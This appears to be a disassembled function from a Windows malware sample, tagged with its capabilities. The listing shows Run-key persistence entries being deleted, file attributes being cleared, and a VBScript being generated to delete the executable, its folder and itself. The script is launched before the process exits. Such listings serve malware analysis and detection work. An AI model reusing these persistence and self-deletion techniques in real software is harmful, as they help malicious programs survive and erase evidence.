Function at 0x9bc59
Capabilities:
Create process on windows
Delete registry key
Persist via run registry key
Set file attributes
Terminate process

Disassembly:
sub esp, 0x29c
push ebx
push ebp
push esi
push edi
call fcn.000a12b5
cmp byte [0xfe9c4], 0x30
je 0x9bc76
call fcn.0009a7f2
xor ebx, ebx
inc ebx
cmp byte [0xffd2b], bl
jne 0x9bc86
call fcn.000a7a4a
cmp byte [0xffa75], 0
je 0x9bca0
mov ecx, 0x101cfc
call fcn.00091ee4
mov ecx, eax
call fcn.000aa01b
mov esi, 0x1021d0
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionRun_
cmp byte [0xffb03], bl
jne 0x9bcc7
mov ecx, esi
call fcn.00091ee4
push eax
mov edx, edi
mov ecx, 0x80000001
call fcn.000a2414
pop ecx
mov ebp, 0x80000002
cmp byte [0xffb00], bl
jne 0x9bce6
mov ecx, esi
call fcn.00091ee4
push eax
mov edx, edi
mov ecx, ebp
call fcn.000a2414
pop ecx
cmp byte [0xffb01], bl
jne 0x9bd03
mov ecx, esi
call fcn.00091ee4
push eax
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, ebp
call fcn.000a2414
pop ecx
mov ebx, 0x208
lea eax, [esp + 0xa0]
push ebx
xor edi, edi
push edi
push eax
call fcn.000c4c30
add esp, 0xc
mov esi, 0x102248
mov ecx, esi
call fcn.0009245c
push eax
mov ecx, esi
call fcn.00091f8b
push eax
push ebx
lea eax, [esp + 0xac]
mov esi, 0x102200
push eax
push str.exepath
mov ecx, esi
call fcn.00091f8b
mov edx, eax
call fcn.000a20e8
add esp, 0x14
test al, al
jne 0x9bd69
push ebx
lea eax, [esp + 0xa4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, esi
call fcn.00091f8b
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ebp, 0xf9654
mov ebx, 0x102218
mov edx, ebp
mov ecx, ebx
call fcn.00098197
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test al, al
je 0x9bda8
push 0x80
mov ecx, ebx
call fcn.00091ee4
push eax
call esi
push 0x80
lea eax, [esp + 0xa4]
push eax
call esi
mov ebx, eax
lea ecx, [esp + 0x10]
neg ebx
push str..vbs
sbb bl, bl
call fcn.000a9959
mov edx, eax
lea ecx, [esp + 0x44]
call fcn.000a9bca
mov edx, eax
lea ecx, [esp + 0x8c]
call fcn.00092ff4
pop ecx
lea ecx, [esp + 0x40]
call fcn.00091ee9
lea ecx, [esp + 0x10]
call fcn.00091fb8
lea eax, [esp + 0x88]
push eax
push 0xf32a8
push 0xf3bd0
call fcn.000c9e5f
pop ecx
push eax
lea ecx, [esp + 0x4c]
call fcn.0009415e
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.00092ff4
pop ecx
mov edx, eax
lea ecx, [esp + 0x74]
call fcn.000942fd
pop ecx
lea ecx, [esp + 0x10]
call fcn.00091ee9
lea ecx, [esp + 0x40]
call fcn.00091ee9
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [esp + 0x14]
call fcn.0009415e
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [esp + 0x2c]
call fcn.000942dc
pop ecx
lea ecx, [esp + 0x10]
call fcn.00091ee9
and bl, 1
je 0x9bec6
push 0xf3d98
lea eax, [esp + 0xa4]
push eax
lea ecx, [esp + 0x60]
call fcn.0009415e
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [esp + 0x48]
call fcn.000942dc
pop ecx
mov edx, eax
lea ecx, [esp + 0x14]
call fcn.00092ff4
pop ecx
push eax
lea ecx, [esp + 0x2c]
call fcn.0009323d
lea ecx, [esp + 0x10]
call fcn.00091ee9
lea ecx, [esp + 0x40]
call fcn.00091ee9
lea ecx, [esp + 0x58]
call fcn.00091ee9
push 0xf3dd0
lea eax, [esp + 0xa4]
push eax
push str.fso.DeleteFile__
lea ecx, [esp + 0x4c]
call fcn.0009415e
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.00092ff4
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00092ff4
pop ecx
push eax
lea ecx, [esp + 0x2c]
call fcn.0009323d
lea ecx, [esp + 0x58]
call fcn.00091ee9
lea ecx, [esp + 0x10]
call fcn.00091ee9
lea ecx, [esp + 0x40]
call fcn.00091ee9
test bl, bl
je 0x9bf30
push str.wend_n
lea ecx, [esp + 0x2c]
call fcn.0009808e
mov esi, 0x102218
mov edx, ebp
mov ecx, esi
call fcn.00098197
test al, al
je 0x9bf7f
push 0xf3dd0
push esi
mov edx, str.fso.DeleteFolder__
lea ecx, [esp + 0x18]
call fcn.0009a8cc
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00092ff4
pop ecx
push eax
lea ecx, [esp + 0x2c]
call fcn.0009323d
lea ecx, [esp + 0x58]
call fcn.00091ee9
lea ecx, [esp + 0x10]
call fcn.00091ee9
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [esp + 0x2c]
call fcn.0009808e
push edi
lea ecx, [esp + 0x74]
call fcn.00091ee4
push eax
lea ecx, [esp + 0x30]
call fcn.0009245c
mov esi, eax
lea ecx, [esp + 0x30]
add esi, esi
call fcn.00091ee4
mov edx, esi
mov ecx, eax
call fcn.000aa17b
pop ecx
pop ecx
test al, al
je 0x9bfd6
push edi
push ebp
push ebp
lea ecx, [esp + 0x7c]
call fcn.00091ee4
push eax
push 0xf30ac
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]